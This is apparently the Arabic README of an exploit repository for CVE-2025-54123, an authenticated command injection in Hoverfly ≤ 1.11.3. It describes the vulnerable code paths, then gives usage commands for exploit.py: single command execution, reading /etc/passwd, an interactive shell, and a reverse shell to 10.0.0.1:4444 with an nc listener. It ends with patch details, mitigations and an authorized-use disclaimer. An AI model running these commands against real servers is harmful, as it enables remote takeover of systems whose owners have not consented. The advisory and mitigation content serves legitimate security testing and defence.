
استغلال تنفيذ الأوامر عن بعد (RCE) مصادق عليه لـ Hoverfly ≤ 1.11.3 (CVE-2025-54123) عبر حقن أوامر نظام التشغيل في واجهة برمجة التطبيقات الوسيطة. يدعم تنفيذ أمر واحد، غلاف شبه تفاعلي، وغلاف عكسي للاختبار الأمني المصرح به.
RCE موثَّقة عبر حقن أوامر نظام التشغيل في Hoverfly ≤ 1.11.3
| الخاصية | القيمة |
|---|---|
| CVE ID | CVE-2025-54123 |
| نقطة CVSS | 9.8 — حرجة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (حقن أوامر نظام التشغيل)، CWE-20 (التحقق غير السليم من الإدخال) |
| المنتج | Hoverfly — أداة محاكاة واجهات برمجة التطبيقات مفتوحة المصدر |
| المتأثر | جميع الإصدارات حتى 1.11.3 شاملاً |
| أُصلح في | 1.12.0 (commit التصحيح) |
| إشعار أمني | GHSA-r4h8-hfp2-ggmf |
إليك دراسة حالة متعمقة وتحليل فني من منظور الصندوق الأبيض والأسود https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
يُعرّض Hoverfly واجهة برمجة تطبيقات إدارية RESTful (المنفذ الافتراضي 8888) لإدارة تكوينات المحاكاة. يقبل نقطة نهاية إدارة الوسيطة في /api/v2/hoverfly/middleware نصًا JSON يحتوي على حقلي binary و script يُعرِّفان عملية وسيطة خارجية.
تنبع الثغرة من مزيج من ثلاثة عيوب على مستوى الكود:
التحقق غير الكافي من الإدخال — middleware.go:93-96: تقبل الدالة SetBinary() المعامل binary دون أي تحقق أو تنقية، مما يسمح للمهاجم بتحديد ملفات تنفيذية عشوائية (مثل bash).
تنفيذ الأوامر غير الآمن — local_middleware.go:14-19: تُنفَّذ الوسيطة عبر exec.Command() مع تمرير قيم binary و script التي يتحكم فيها المهاجم مباشرة كوسيطات، مما يتيح حقن أوامر نظام التشغيل.
التنفيذ الفوري أثناء الاختبار — hoverfly_service.go:173: عند تعيين الوسيطة عبر واجهة برمجة التطبيقات، يقوم Hoverfly فورًا باختبار الوسيطة عن طريق تنفيذها، مما يؤدي إلى تشغيل الأمر المُحقن في وقت التكوين وليس في وقت اعتراض الوكيل.
المهاجم Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) المصادقة
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) حقن الحمولة
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) تنفيذ فوري
│ │ → يعمل أمر المهاجم كـ │
│ │ مستخدم عملية Hoverfly ││
│ └──────────────────────────────────┘│
│ │
│<── مخرجات الأمر في استجابة الخطأ ──│ (4) استخراج المخرجات
│ │
admin / كلمة مرور قابلة للتكوين)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
تحقق من إمكانية الوصول إلى الهدف والمصادقة دون استغلال:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
نفذ أمرًا واحدًا لنظام التشغيل على الهدف:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
ادخل إلى جلسة شل مستمرة:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
أرسل شل عكسية إلى المستمع الخاص بك:
# الطرفية 1 — بدء المستمع
nc -lvnp 4444
# الطرفية 2 — تشغيل الاستغلال
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
وجِّه حركة المرور عبر Burp Suite للفحص:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
التصحيح في commit 17e60a9 يعطل واجهة برمجة تطبيقات تعيين الوسيطة افتراضيًا. التغييرات اللاحقة في التوثيق (commit a9d4da7) تجعل المستخدمين على دراية بالآثار الأمنية لكشف نقطة النهاية هذه.
تم توفير هذه الأداة لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في جميع أنحاء العالم. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # استغلال مُحسَّن
│ └── raw_exploit.py # إثبات المفهوم الخام الأصلي
├── Images/ # لقطات شاشة البحث
├── Reference/ # استغلالات مرجعية للدراسة
├── requirements.txt # تبعيات بايثون
└── README.md # هذا الملف
Phantom Hat — باحث أمني
تم إجراء هذا البحث كجزء من دراسة حالة ثغرة أمنية للأغراض التعليمية.
| الخيار | الوصف | الافتراضي |
|---|
-u, --url | رابط هدف Hoverfly | مطلوب |
-U, --username | اسم المستخدم المسؤول | مطلوب |
-P, --password | كلمة مرور المسؤول | مطلوب |
-c, --command | أمر نظام تشغيل لتنفيذه | — |
-C, --check | وضع التحقق فقط (بدون استغلال) | false |
-i, --interactive | شل تفاعلية وهمية | false |
--revshell | شل عكسية LHOST:LPORT | — |
--proxy | التوجيه عبر 127.0.0.1:8080 | false |
--timeout | مهلة الطلب (بالثواني) | 15 |
-v, --verbose | تمكين المخرجات المفصلة | false |
| الإجراء | التفاصيل |
|---|
| الترقية | قم بتحديث Hoverfly إلى الإصدار v1.12.0 أو أحدث، حيث يتم تعطيل واجهة برمجة تطبيقات تعيين الوسيطة افتراضيًا |
| تقسيم الشبكة | اقتصر الوصول إلى واجهة برمجة تطبيقات إدارة Hoverfly (المنفذ 8888) على الشبكات الموثوقة فقط |
| المصادقة | استخدم كلمات مرور قوية وفريدة لواجهة برمجة تطبيقات إدارة Hoverfly |
| المراقبة | راقب طلبات PUT غير المتوقعة إلى /api/v2/hoverfly/middleware |